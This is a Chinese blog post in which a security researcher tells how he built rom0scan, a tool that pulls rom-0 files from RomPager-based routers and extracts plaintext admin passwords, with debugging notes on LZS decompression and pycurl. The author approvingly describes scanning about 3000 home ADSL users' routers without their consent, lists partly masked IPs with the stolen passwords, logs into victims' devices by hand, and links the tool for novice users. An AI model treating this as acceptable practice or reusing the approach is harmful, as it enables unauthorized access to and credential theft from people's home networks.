标题: 程序员的片段(2)--rom0scan.exe出台记
创建: 2015-04-17 11:39
更新:
链接: https://scz.617.cn/python/201504171139.txt
决定以一种不那么严谨的风格写写程序员的片段。有些是一般性回忆,有些是带点启
发性的流水帐。什么动机、什么目的呢?啥也没有,就是扯淡。由于不严谨,不是正
经技术文章,文中内容万不可当真,我就那么一写,你就那么一看。
rom0scan.exe是一个小工具,在这里下载:
http://pan.baidu.com/s/1i3gnO4P
看上去是这样的:
$ rom0scan.exe -m -b xx.xx.xx.1 -e xx.xx.xx.254
xx.xx.xx.141 [200] [RomPager/4.07 UPnP/1.0] [TD-W8901G] [310790]
xx.xx.xx.34 [200] [RomPager/4.07 UPnP/1.0] [TD-W8101G] [EbS7P27]
xx.xx.xx.120 [200] [RomPager/4.07 UPnP/1.0] [TD-8817] [freddym009cmm]
xx.xx.xx.205 [200] [RomPager/4.07 UPnP/1.0] [TD-W8901G] [password]
xx.xx.xx.53 [200] [RomPager/4.07 UPnP/1.0] [Home Gateway] [EbS10P32]
xx.xx.xx.165 [200] [RomPager/4.07 UPnP/1.0] [TD-8817] [362729]
xx.xx.xx.89 [200] [RomPager/4.07 UPnP/1.0] [TD-8817] [password]
xx.xx.xx.242 [200] [RomPager/4.07 UPnP/1.0] [TD-W8901G] [BASHO87013899828]
xx.xx.xx.106 [200] [RomPager/4.07 UPnP/1.0] [TD-8817] [password]
xx.xx.xx.66 [200] [RomPager/4.07 UPnP/1.0] [Home Gateway] [EbS7P27]
xx.xx.xx.208 [200] [RomPager/4.07 UPnP/1.0] [Home Gateway] [362729]
xx.xx.xx.159 [200] [RomPager/4.07 UPnP/1.0] [Home Gateway] [m4f6h3]
xx.xx.xx.52 [200] [RomPager/4.07 UPnP/1.0] [TD-8817] [fdpm0r]
下面说说为什么写这个工具。
参看:
Misfortune Cookie漏洞(CVE-2014-9222)补遗
https://scz.617.cn/misc/201504141114.txt
其中提到:
--------------------------------------------------------------------------
我没有找到可能存在的神技巧快速、稳定地远程确定这些值:
C_Array
authoff
evilnum
evilcookie
暂时计划在将来的日子里陆续手工收集这些数据,这依赖于我在野地里找到的测试目
标以及能否下载得到相关固件。
--------------------------------------------------------------------------
很多型号、版本的固件已经无法下到,我只能先尽可能地收集各种型号、版本的固件,
然后去找使用该固件的目标。
型号比较容易扫描,"GET / HTTP/1.0\r\n\r\n"导致的401响应中有:
--------------------------------------------------------------------------
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="TD-W8901N"
Content-Type: text/html
Server: RomPager/4.07 UPnP/1.0
Protected Object
Protected Object
Username or Password error
--------------------------------------------------------------------------
可以从"WWW-Authenticate:"中析取型号。版本信息就很困难了:
http:///status/status_deviceinfo.htm
这个页面上有固件的精确版本,但访问它需要认证。可以利用rom-0漏洞获取口令。
有rom-0漏洞的victim一定有Misfortune Cookie漏洞,反之却不成立。在研究阶段不
必纠结于那些没有rom-0漏洞只有Misfortune Cookie漏洞的情形。先把两种漏洞都有
的固件、测试环境、测试用例准备好,当数据收集到一定阶段之后,有可能发现某些
经验性结论,再去折腾没有rom-0漏洞只有Misfortune Cookie漏洞的情形。
找到一个B段,其中近3000个victim存在rom-0漏洞。很容易从B段中找出这些victim,
但我需要口令,从而登进去查看其所用固件版本是否是我可以下到的。
rom-0漏洞是个老洞,至少2008年就已经看到公开披露。rom-0文件有其固有格式,其
中某部分数据使用LZS压缩算法处理过,解压后可以看到WWW登录口令的明文。有很多
现成工具从rom-0中析取口令,还有在线服务。我用了Piotr Bania的C版本,很稳定。
据此写一个脚本,rom0scan.sh,从IP列表文件中读取IP,调用wget或curl下载rom-0,
用Piotr Bania的C代码从中析取口令。虽然不是多线程,至少可以自动化。当然,IP
列表需要别的手段提前准备好。rom0scan.sh确实可以工作,但我只用了一次,对于
近3000个IP,它太慢了。
如果那些victim长期稳定存在,用rom0scan.sh跑一次,慢就慢吧,也无所谓。但那
个B段的victim显然都是些ADSL拨号用户,基本上24小时之后IP就发生变化了。如果
每天都要花很长时间重新运行一次rom0scan.sh,不可接受。我需要快速找回昨天的
测试目标,靠型号只能过滤一部分,靠口令(有些口令很具有排他性)可以继续过滤。
于是我着手写rom0scan.py。并发部分用多线程+pycurl.CurlMulti()技术,这个对我
已是轻车熟路。相对困难的是LZS解压缩代码。我不想从头造轮子,上网找到了LZS解
压缩代码的Python版本:
Extraction LZS with python - Filippo Valsorda [2011]
https://filippo.io/decompressing-lempel-ziv-stac-in-python/
看上去一切都很顺利,我的rom0scan.py在内存中直接进行LZS解压缩并析取口令成功。
然后,我用近3000个IP进行更广泛的测试。意外发现很多victim的口令中含有千奇百
怪的不可打印字符,即使全部是可打印字符,仍然存在明显异常,比如:
xx.xx.xx.94 [200] [RomPager/4.07 UPnP/1.0] [TD-8840T 2.0] [passwordoooooooooooooooooooooooooooooooooooooooo]
实测表明目标的口令就是password,为什么程序析出来的多出一些o。用rom0scan.sh
访问目标,得到的口令正确。Piotr Bania的C代码会将解压后的数据保存到一个文件
中,我修改了rom0scan.py,用hexdump()显示Python版本的LZS解压缩结果,对比二
者后发现一些不同。比如,这是一次正确的解压结果:
--------------------------------------------------------------------------
0000000: ce ed db db 00 03 00 09 00 00 06 6c 00 00 00 09 ...........l....
0000010: 00 00 00 00 32 32 32 32 32 32 32 32 00 00 00 00 ....22222222....
0000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000050: 00 00 00 00 54 50 2d 4c 49 4e 4b 00 00 00 00 00 ....TP-LINK.....
0000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000090: 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 ................
00000a0: 70 75 62 6c 69 63 00 00 00 00 00 00 00 00 00 00 public..........
00000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000c0: 70 75 62 6c 69 63 00 00 00 00 00 00 00 00 00 00 public..........
00000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000e0: 70 75 62 6c 69 63 00 00 00 00 00 00 00 00 00 00 public..........
00000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--------------------------------------------------------------------------
这是Python版错误的解压结果:
--------------------------------------------------------------------------
00000000 CE ED DB DB 00 03 00 09-00 00 06 6C 00 00 00 09 ...........l....
00000010 00 00 00 00 32 32 32 32-32 32 32 32 32 32 32 32 ....222222222222
00000020 32 32 32 32 32 32 32 32-32 32 32 32 32 32 32 32 2222222222222222
00000030 32 32 32 32 32 32 32 32-32 32 32 32 32 32 32 32 2222222222222222
00000040 32 32 32 32 32 32 32 32-32 32 32 32 32 32 32 32 2222222222222222
00000050 32 32 32 32 32 32 32 32-32 32 32 32 32 32 32 32 2222222222222222
00000060 54 50 2D 4C 49 4E 4B 32-32 32 32 32 32 32 32 32 TP-LINK222222222
00000070 32 32 32 32 32 32 32 32-32 32 32 32 32 32 32 32 2222222222222222
00000080 32 32 32 32 32 32 32 32-32 32 32 32 32 32 32 32 2222222222222222
00000090 32 32 32 32 32 32 32 32-32 32 32 32 32 32 32 32 2222222222222222
000000A0 32 32 32 32 32 32 32 32-32 32 32 32 32 01 32 32 2222222222222.22
000000B0 32 32 32 32 32 32 32 32-70 75 62 6C 69 63 32 32 22222222public22
000000C0 32 32 32 32 32 32 32 32-32 32 32 32 32 32 32 32 2222222222222222
000000D0 32 32 32 32 32 32 32 32-70 75 62 6C 69 63 32 32 22222222public22
000000E0 32 32 32 32 32 32 32 32-32 32 32 32 32 32 32 32 2222222222222222
000000F0 32 32 32 32 32 32 32 32-70 75 62 6C 69 63 32 32 22222222public22
--------------------------------------------------------------------------
再比如,这是一次正确的解压结果:
--------------------------------------------------------------------------
0000000: ce ed db db 00 03 00 09 00 00 06 6c 00 00 00 09 ...........l....
0000010: 00 00 00 00 31 39 39 31 32 30 33 30 32 30 35 30 ....199120302050
0000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000050: 00 00 00 00 74 63 00 31 36 30 00 00 00 00 00 00 ....tc.160......
0000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000090: 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 ................
00000a0: 70 75 62 6c 69 63 00 00 00 00 00 00 00 00 00 00 public..........
00000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000c0: 70 75 62 6c 69 63 00 00 00 00 00 00 00 00 00 00 public..........
00000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000e0: 70 75 62 6c 69 63 00 00 00 00 00 00 00 00 00 00 public..........
00000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--------------------------------------------------------------------------
这是Python版错误的解压结果:
--------------------------------------------------------------------------
00000000 CE ED DB DB 00 03 00 09-00 00 06 6C 00 00 00 09 ...........l....
00000010 00 00 00 00 31 39 39 31-32 30 33 30 32 30 35 30 ....199120302050
00000020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00000030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00000040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00000050 00 00 00 00 74 63 00 31-36 30 00 00 00 00 00 00 ....tc.160......
00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00000080 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00000090 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000000A0 00 01 00 00 00 00 00 00-00 01 00 00 00 00 00 00 ................
000000B0 00 01 00 00 00 00 00 00-70 75 62 6C 69 00 00 00 ........publi...
000000C0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000000D0 00 00 00 00 00 00 00 00-70 75 62 6C 69 00 00 00 ........publi...
000000E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000000F0 00 00 00 00 00 00 00 00-70 75 62 6C 69 00 00 00 ........publi...
--------------------------------------------------------------------------
几乎可以确定,Python版本的LZS解压缩代码存在某些细小的BUG。有时尽管其解压结
果并不正确,但由于析取口令的代码逻辑有一定容错性,导致对于某些rom-0析取口
令成功,从另一些rom-0则析取出多余的无效数据。Filippo Valsorda的代码显然没
有得到广泛测试,一直没有更新过。我尝试给他发邮件反馈BUG,没有得到回应。无
奈之下,我只能自己阅读LZS算法:
Lempel Ziv Stac (LZS)
http://en.wikipedia.org/wiki/Lempel%E2%80%93Ziv%E2%80%93Stac
没有仔细分析Filippo Valsorda的代码,大致觉得有几处不靠谱:
--------------------------------------------------------------------------
1)
处理编码后的length时,代码逻辑不够清晰。从前述对比测试用例看,很可能是取
length时有BUG。
2)
BitReader.__init__()中为什么要用bool()做强制类型转换?完全不必要。
3)
LZSDecompress()中的window形参没必要出现,从而class RingList没必要存在。
--------------------------------------------------------------------------
扯远一点。Filippo Valsorda的LZSDecompress(),其window是有默认值的形参,并
且还是复杂数据类型。如果在多线程上下文中调用LZSDecompress(),同时没有显式
提供window形参,好像有问题?由于1)、2)、3)的同时存在,我现在也不确认导致问
题是三者的叠加效应还是别的原因。
最后我照着LZS算法的维基描述以及其C版本实现重写了Python版本实现,不想修改
Filippo Valsorda的代码,太不合我的味口了。
至此,似乎所有问题都完满解决了。再次用近3000个IP进行广泛测试。相当意外地发
现,几乎所有victim的口令都被正确析取出来,但同时出现了一组内容不固定的乱码。
这组乱码很神密地出现,最初我甚至不能在rom0scan.py中找到与之对应的输出代码,
换句话说,我不知道它们是谁,从哪里来,怎么就输出出来了,这简直就是三个终极
问题的翻版。
起初我将rom0scan.py中所有涉及输出的代码都屏蔽了,这组神秘的乱码仍然顽固地
出现,虽然不影响析取口令,但看着它们我很受伤。聊以自慰的是,我的测试用例集
(近3000个IP)可以稳定触发此现象,如果真是随机出现,我就傻眼了,可没那么多精
力跟它耗下去。我从测试用例集中抽了部分IP进行测试,神秘的乱码消失了,只要我
用全集测试,乱码再次出现。现在不管我信不信,肯定是只有某些IP才能触发乱码。
我得找到这些IP,缩小测试集,从而减少不必要的干挠。
办法很简单,用二分法抽取测试IP,逐步排除不会导致乱码的IP。第17次抽取测试IP
时,近3000个IP只剩下一个IP了,而这个IP不负众望地触发了乱码。
rom0scan.py -b
Wireshark抓包,终于发现这个IP有些与众不同:
$ curl --connect-timeout 5 -m 5 -is http://x.x.x.x | xxd -g 1
0000000: 48 54 54 50 2f 31 2e 30 20 34 30 34 20 4e 6f 74 HTTP/1.0 404 Not
0000010: 20 46 6f 75 6e 64 0d 0a 0d 0a Found....
$ curl --connect-timeout 5 -m 5 -I -is http://x.x.x.x | xxd -g 1
0000000: dd cd d9 ae fc e5 33 4e 78 f9 d3 a4 73 ed 25 44 ......3Nx...s.%D
0000010: 44 a7 5b 5e 72 0c 1a f3 86 4a b7 3e d4 44 6b c8 D.[^r....J.>.Dk.
0000020: 81 58 ca 04 d0 6f 82 d9 4c e3 b9 7d 7c b7 10 e4 .X...o..L..}|...
0000030: f8 09 a6 5f 84 25 12 db fb 7c 2f 02 3c a0 24 b9 ..._.%...|/.<.$.
GET请求返回404,太简单了,甚至是HTTP/1.0。
HEAD请求返回的根本不是HTTP协议报文,天知道是些啥,而这些就是我看到的乱码。
rom0scan.py中有这样的代码:
--------------------------------------------------------------------------
c = pycurl.Curl()
c.head = StringIO()
c.setopt( pycurl.HEADERFUNCTION, c.head.write )
c.setopt( pycurl.CUSTOMREQUEST, "HEAD" )
c.setopt( pycurl.NOBODY, True )
--------------------------------------------------------------------------
当访问其他IP时,这段代码很好地抓到了HTTP响应,确保它被其他代码处理,而不是
向stdout输出,即使HEAD请求导致的HTTP响应包含HTTP Body,也没问题。
但对于前述惹祸的IP,这段代码未能抓住HEAD请求导致的响应数据,直接向stdout输
出了。这应该是libcurl的内部行为,所以屏蔽rom0scan.py中的输出代码没用。
没办法,只好将代码改成:
--------------------------------------------------------------------------
c = pycurl.Curl()
c.head = StringIO()
c.setopt( pycurl.HEADERFUNCTION, c.head.write )
c.body = StringIO()
c.setopt( pycurl.WRITEFUNCTION, c.body.write )
c.setopt( pycurl.CUSTOMREQUEST, "HEAD" )
c.setopt( pycurl.NOBODY, True )
--------------------------------------------------------------------------
本来对于HEAD请求,不必靠pycurl.WRITEFUNCTION消化HTTP Body,pycurl.NOBODY就
足够了。现在为了对付惹祸IP,把前者请了回来。
到这儿,rom0scan.py算是大功告成。
曾经计划在利用rom-0漏洞析取口令之后,自动登录:
r'Authorization: Basic %s' % base64.b64encode( r"%s:%s" % ( username, password ) )
访问:
http:///status/status_deviceinfo.htm
然后自动从中析取固件的精确版本信息。后来放弃了。考虑到对于不同型号的目标这
个链接不够通用,再就是我的目标B段其母语不是英语、汉语,正则匹配时考虑的因
素太多。我还是手工登录、肉眼查看吧。
刻意没有对输出信息进行更强的过滤,所以有时你会看到:
xx.xx.xx.196 [404] [RomPager/4.07 UPnP/1.0] [] []
xx.xx.xx.49 [403] [] [] []
rom0scan.py的初衷是"尽可能收集有用信息",以供研究Misfortune Cookie漏洞使用。
合理拆解需求,分层次、分阶段进行快速扫描,尽可能收集有用信息并进行归档存储,
重复利用保存在本地的各层次、各阶段扫描结果。不要把扫描当成纯粹的暴力行为,
这是一门艺术,也是我一直以来的扫描理念。如果是设计"大型"扫描器,更需要秉持
这种理念,不扯那么远了。
rom0scan.exe是rom0scan.py的py2exe版本。我是Windows的忠实用户,喜欢并且相信
一大票人同样喜欢绿色Windows版本。写这个工具是为了研究其他漏洞,它已经覆盖
了我的原始需求。就像superdns.exe、GetHttpsInfo.exe一样,这些小工具我自己就
在用。为了从繁重的体力劳动中解放出来,程序员就会给自己开发一些辅助工具,要
不怎么说懒惰是世界进步、人类进化的原动力之一呢。
我分享这些exe,目标人群从来都不是会自己编译源代码的群体,而是各路小白用户
或者绿色Windows版爱好者。对于会自己编译源代码的群体,你们就自力更生去吧,
广阔天地等着你们。
我的百度网盘分享:
http://pan.baidu.com/share/home?uk=1649586503&view=share
superdns_20141118.7z
http://pan.baidu.com/s/1nt9h1l3
GetHttpsInfo(20150407).7z
http://pan.baidu.com/s/1dDm1riT
最后说个事儿,正经干活时我从来不这样用:
$ rom0scan.exe -m -b -e
我都是这样用:
$ rom0scan.exe -m
我会用其他手段更快速地扫描目标范围,生成一个初步的hostlist,然后交给
rom0scan.exe。